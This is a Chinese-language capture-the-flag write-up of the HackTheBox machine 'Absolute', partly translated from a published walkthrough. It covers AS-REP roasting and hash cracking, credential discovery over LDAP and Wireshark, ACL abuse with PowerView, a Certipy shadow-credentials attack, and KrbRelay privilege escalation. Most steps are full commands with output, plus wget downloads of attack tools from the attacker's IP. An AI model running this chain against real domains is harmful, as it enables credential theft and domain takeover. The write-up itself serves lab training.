Absolute
初始权限获得
https://medium.com/@0xAn0m4ly/absolute-hackthebox-detailed-writeup-5bbce44b0cf6 writeup
https://arz101.medium.com/hackthebox-absolute-bdd0267d5d06 writeup
HTB: Absolute | 0xdf hacks stuff writeup
Shadow Credentials | Red Team Notes 影子凭证
端口扫描
smb不行
ldap不行
dig不行
dnsenum获得的子域名没什么用
访问80
feroxbuster -u http://absolute.htb 目录爆破没有什么有用的
bash循环脚本获取图片(username-anarchyshe弄成用户列表)
for i in $(seq 1 6); do wget http://absolute.htb/images/hero_${i}.jpg; done
exiftool hero_1.jpg
获取10张的
for i in $(seq 1 6); do exiftool hero_${i}.jpg | grep Author | awk '{print $3 " " $4}'; done | tee users
但使用username-anarchy生成用户名列表更容易
/opt/username-anarchy/username-anarchy -i users | tee usernames
验证
kerbrute userenum --dc dc.absolute.htb -d absolute.htb usernames
试试as-rep
GetNPUsers.py -dc-ip dc.absolute.htb -usersfile valid_users absolute.htb/
hashcat d.klay.hash /usr/share/wordlists/rockyou.txt
破解Darkmoonsky248gir
尝试验证失败crackmapexec
(ntlm被禁用)
crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) SMB 10.10.11.181 445 DC [-] absolute.htb\d.klay:Darkmoonsky248girl STATUS_ACCOUNT_RESTRICTION
STATUS_ACCOUNT_RESTRICTION
通常意味着 NTLM 被禁用,并且我需要使用 Kerberos 进行身份验证。这样可行:
oxdf@hacky$ crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) SMB 10.10.11.181 445 DC [+] absolute.htb\d.klay:Darkmoonsky248gi
这边的我的-k加上去后使用不了
使用kinit d.klay 直接生成票据的时候不行,是我的/etc/krb5.conf没配置好,后面有空来看看这两个错误
kinit d.klay 生成一张票
这边使用python3 getTGT.py absolute.htb/d.klay 也可以获得
使用bloodhound时记得加-ns,切记更新时间sudo ntpdate 10.10.11.181
bloodhound-python -u d.klay -p 'Darkmoonsky248girl' -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 -c ALL --zip
啥都没有
看看smb
crackmapexec smb dc.absolute.htb -k -u d.klay -p 'Darkmoonsky248girl' --shares
连接smb
smbclient.py 'absolute.htb/d.klay:Darkmoonsky248girl@dc.absolute.htb' -k -no-pass
没什么有用的
ldap枚举获得svc_smb(排错ldap)
提取的一项内容是用户列表
crackmapexec ldap 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k --users
svc_smb 用户描述“AbsoluteSMBService123!”看起来像是密码。
验证
crackmapexec smb 10.10.11.181 -u svc_smb -p 'AbsoluteSMBService123!' -k 成功
ldapsearch -H ldap://dc.absolute.htb -x -D d.klay@absolute.htb -w Darkmoonsky248girl -s base
会出现几个错误
这是因为该帐户受到限制(没有 NTLM,只有 Kerberos)。
我将使用它来指定 Kerberos 身份验证。安装包时-Y GSSAPI
最好使用它来防止出现其他错误。libsasl2-modules-gssapi-mit``apt
尽管kinit
有票,但我仍然收到此错误:
ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI -b "dc=absolute,dc=htb"
为了解决这个问题,我将确保在我的文件中将其dc.absolute.htb
放在前面
解决了可以正常使用
ldapsearch -H ldap://dc.absolute.htb -b "dc=absolute,dc=htb" | less
可以在在 svc_smb 用户的信息中找到密码
接着使用bloodhound
还是没什么有用的
看smb
crackmapexec smb dc.absolute.htb -k -u svc_smb -p 'AbsoluteSMBService123!' --shares
连接
smbclient.py 'absolute.htb/svc_smb:AbsoluteSMBService123!@dc.absolute.htb' -k -no-pass
看到有两个文件,下载来看看
# get compiler.sh # get test.exe
file查看
compiler.sh
是一行,用于编译Nim程序。test.exe
是 Windows 64 位 exe:
动态分析(获得m.lovegod)
转到 Windows 机器并运行此程序。什么也没发生。我将使用 Wireshark 运行,并注意到有一堆 DNS 查询发出:
更新我的hosts
文件以包含_ldap._tcp.dc.absolute.htb
,然后重新运行该程序。执行后 25-30 秒,会尝试在 Absolute 上绑定到 LDAP:
按照这个流程,看起来那里可能有一些信用
使用 NTLM 时,它遇到了AcceptSecurityContext
与上述相同的错误。深入研究bindRequest(1)
Wireshark 中的数据包,可以找到 mlovegod 的凭据:
该用户名未知,并且不符合其他帐户的格式。上面通过 LDAP 识别的用户中有一个 m.lovegod。这有效:
crackmapexec smb 10.10.11.181 -u m.lovegod -p 'AbsoluteLDAP2022!' -k
再次运用bloodhound
由于 m.lovegod(作为 Network Audit 组的成员)对 winrm_user 具有 GenericWrite 权限,这意味着我们可以修改其属性,msDS-KeyCredentialLink.
该属性本身以序列化格式存储客户端的公钥和一堆其他数据。因此,如果我们可以写入该属性,则意味着我们可以获得该帐户的有效 TGT
因此,我们的想法是授予 m.lovegod 网络审计组的权限/ACL,将 m.lovegod 添加到该组,对 winrm_user 执行影子凭证攻击,最终获取他的 TGT。
将 m.lovegod 添加到 Network Audit
Bloodhound 给出了此行为的滥用信息:
为了使这次攻击成功,我必须将 Absolute 的 IP 配置为我的 VPN 接口的 DNS 服务器:
PS > $pass = ConvertTo-SecureString 'AbsoluteLDAP2022!' -AsPlainText -Force PS > $cred = New-Object System.Management.Automation.PSCredential('absolute.htb\m.lovegod', $pass)
如果我尝试像上面一样运行命令,它会说这-PrincipleIdentity
是必需的。查看文档,我会添加它和-DomainController
选项。
PS > Add-DomainObjectAcl -Credential $cred -TargetIdentity "Network Audit" -Rights All -PrincipalIdentity m.lovegod -DomainController dc.absolute.htb
现在要将 m.lovegod 添加到组,我将使用另一个PowerView
命令行Add-DomainGroupMember
:
PS > Add-DomainGroupMember -Credential $cred -Identity "Network Audit" -member m.lovegod -Domain "absolute.htb"
查看一下是否加入了
PS > Get-DomainGroupMember -Credential $cred -Identity "Network Audit" -Domain "absolute.htb" -DomainController "dc.absolute.htb" | fl MemberName
影子凭证
如何使用 Whisker 在目标上以及使用 PyWhisker 远程执行此操作。PyWhisker 可以在这里工作,但Certipy将几个步骤打包成一个命令,因此我将在这里展示。它使用 安装pip install certipy-ad
。
certipy find
将返回有关域以及 Active Directory 证书服务 (ADCS) 配置方式的各种信息。/tmp/krb5cc
默认情况下它不会检查,因此我需要设置该环境变量才能使用它:
KRB5CCNAME=/tmp/krb5cc_1000 certipy find -username m.lovegod@absolute.htb -k -target dc.absolute.htb
下一个命令需要 Kerberos 票证才能工作,并且似乎必须在将 m.lovegod 用户添加到组后kinit
生成票证。以下错误意味着我需要删除我的票证并重新创建它(使用或getTGT.py
):
[-] Could not update Key Credentials for 'winrm_user' due to insufficient access rights: 00002098: SecErr: DSID-031514A0, problem 4003 ( INSUFF_ACCESS_RIGHTS), data 0
certipy shadow auto
将向 winrm_user 用户添加影子凭证:
KRB5CCNAME=/tmp/krb5cc_1000 certipy shadow auto -username m.lovegod@absolute.htb -account winrm_user -k -target dc.absolute.htb
这创建了一个凭证并给出了 NT 哈希(对我来说这里没用)并在中保存了一张票winrm_user.ccache
。
KRB5CCNAME=./winrm_user.ccache evil-winrm -i dc.absolute.htb -r absolute.htb
成功横向
获取管理员权限
KrbRelay
为了使此攻击成功,目标必须:
-
没有 2022 年 10 月补丁;
-
必须禁用 LDAP 签名(这是 Windows 默认设置)。
我将把repo克隆到我的 Windows 主机并.sln
在 Visual Studio 中打开该文件。我将转到“构建”>“批量构建”以获取此对话框:
我将为 Build 选择两个发布配置,然后单击 Build。虽然有相当多的警告,但它会报告成功并.exe
为每个二进制文件提供路径:
Build started... ------ Build started: Project: CheckPort, Configuration: Release Any CPU ------ CheckPort -> C:\Tools\KrbRelay\CheckPort\bin\Release\CheckPort.exe ------ Build started: Project: KrbRelay, Configuration: Release Any CPU ------ C:\Tools\KrbRelay\KrbRelay\IStorage\ILockBytes.cs(24,23,24,61): warning CS0618: 'STATSTG' is obsolete: 'Use System.Runtime.InteropServices.ComTypes.STATSTG instead. http://go.microsoft.com/fwlink/?linkid=14202' ...[snip]... C:\Tools\KrbRelay\KrbRelay\Misc\Natives.cs(320,24,320,26): warning CS0649: Field 'Natives.SOLE_AUTHENTICATION_SERVICE.hr' is never assigned to, and will always have its default value 0 KrbRelay -> C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe ========== Build: 2 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========
我会将两个二进制文件复制回我的 Linux 机器并将它们上传到 Absolute。
*Evil-WinRM* PS C:\programdata> wget 10.10.14.6/KrbRelay.exe -outfile KrbRelay.exe *Evil-WinRM* PS C:\programdata> wget 10.10.14.6/CheckPort.exe -outfile CheckPort.exe
查找端口
CheckPort.exe
将识别恶意服务器将运行的端口:
*Evil-WinRM* PS C:\programdata> .\CheckPort.exe [*] Looking for available ports.. [*] SYSTEM Is allowed through port 10
它标识端口 10。
识别 CLSID
与许多 Potato 攻击的工作原理非常相似,我需要具有正确权限的有效 RPC 服务的 CLSID。有一些工具可以在目标主机上发现这些,但通常从列出的一些默认工具中选择更简单、更快捷。
此主机正在运行 Windows 10.0.17763.3406:
*Evil-WinRM* PS C:\programdata> cmd /c ver Microsoft Windows [Version 10.0.17763.3406]
这映射到服务器 2019 或 Windows 10。KrbRelay README上有一个按操作系统列出的默认 CLSID 列表。
354ff91b-5e49-4bdc-a8e6-1cb6c6877182
失败
我现在将使用 中的语法来运行它README.md
,但失败了:
*Evil-WinRM* PS C:\programdata> .\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember "Domain Admins" winrm_user [*] Relaying context: absolute.htb\DC$
解决(使用RunAsCs)
RunAsCs是一款允许以具有不同凭据的用户身份运行的工具。我将下载该版本并将其上传到 Absolute.qq
我已经获得了 m.lovegod 的凭据,因此我将RunasCs.exe
使用该用户名和密码包装我之前的命令并-d
提供域名。它失败了:
*Evil-WinRM* PS C:\programdata> .\RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember administrators winrm_user" [-] RunasCsException: Selected logon type '2' is not granted to the user 'm.lovegod'. Use available logon type '3'.
它试图创建一个登录类型 2 进程,但该进程被阻止(可能是由于 NTLM 被禁用)。它建议使用类型 3,但也失败了。
此 Microsoft 页面有一个登录类型表。Runas/Network 是类型 9 的示例。我将尝试:
Evil-WinRM PS C:\programdata> .\RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb -l 9 ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember administrators winrm_user"
报告成功。并且 winrm_user 属于管理员组:
https://powersploit.readthedocs.io/en/latest/Recon/Add-DomainObjectAcl/powershell工具的学习